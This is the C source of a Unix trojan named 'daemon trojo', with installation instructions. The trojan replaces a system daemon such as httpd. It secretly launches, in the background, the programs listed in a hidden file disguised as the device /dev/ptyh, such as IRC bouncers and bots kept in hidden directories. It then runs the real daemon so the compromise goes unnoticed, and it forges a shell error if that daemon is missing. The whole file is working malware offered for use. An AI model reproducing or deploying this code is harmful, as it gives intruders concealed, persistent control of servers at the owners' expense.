/*   ......:::: daemon trojo by DeV^AwaY ::::......
 *
 *
 * [*] --> coded by: DeV^AwaY
 * [*] ------------> devilnet@freemail.it
 * [*] ------------> ircnet/efnet@DeV^AwaY
 * [*] --> V3rsion: 0.2
 * 
 * install: 
 * To install this trojan you should copy the real daemon in another
 * directory !WITH THE SOME NAME!. Then you should compile this source on the
 * real daemon file in its some directory.
 * So write in /dev/ptyh all path/commands to execute with
 * daemon. If you must use options with commands you must divide they
 * with the $ character. 
 * Ex:
 *
 * cat /dev/ptyh
 * /home/hacker/. /psybnc        <-- without options
 * /home/hacker/bot/eggdrop$ -m bot.conf -t  <-- with options
 * /home/hacker/.   $          <-- to run the file ".   " 
 *
 * Default
 * trojo daemon /usr/sbin/httpd
 * real deamon /usr/bin/httpd        #EXE_PATH
 *
 */

#include <stdio.h>
#include <stdlib.h>

#define TRJ_PATH        "/dev/ptyh"
#define EXE_PATH        "/usr/bin/httpd"

main (int argc,char **argv,char **envp) {

char fstr[200],**addr=malloc(200),slas[500],slaw[500];
int i,ic=1,deic,sllen;
FILE *ofile;
  
  if (fork() == 0) {
    if ((ofile=fopen(TRJ_PATH,"r"))==NULL) exit(0);
  
    while (!feof(ofile)) {
      fgets(fstr, 200, ofile);
      for (i=0; i<strlen(fstr); i++) if (fstr[i]=='\n') fstr[i]='\0';
      addr[ic]=malloc(200);
      strcpy(addr[ic],fstr);
      ic++;
    }
  
    deic=ic-2; ic=0;
  
    while (ic!=deic) {
      ic++;
      i=0;
      memset(slaw, 0, 500);
      strcpy(slas,addr[ic]);  
      sllen=strlen(slas);
  
      while (i!=sllen) {
         if (slas[i]=='$') { 
        (slas[i]='"'); 
        goto out; }
         else i++;
      }
    
      out:
      if (sllen==i) strcat(slas,"\"");
      strncpy(slaw,slas,i);
      if ((ofile=fopen(slaw,"r"))==NULL) exit(0); 
      strcpy(addr[ic],slas);
      strcpy(addr[ic],"cd \"");

      while (sllen!=0) {
         if (slas[sllen]=='/') goto out2;
         else sllen--;
      }
      out2:
      strncat(addr[ic],slas,sllen);
      strcat(addr[ic],"\" && \".");
      strcat(addr[ic],slas+sllen); 
      strcat(addr[ic]," 1>/dev/null 2>/dev/null &");  
      system(addr[ic]);
      }
    exit(0);
  }

  if ((ofile=fopen(EXE_PATH,"r"))==NULL) {
    printf("bash: %s: No such file or directory\n",EXE_PATH); 
    exit(0);
  }

  execve(EXE_PATH, argv, envp);

}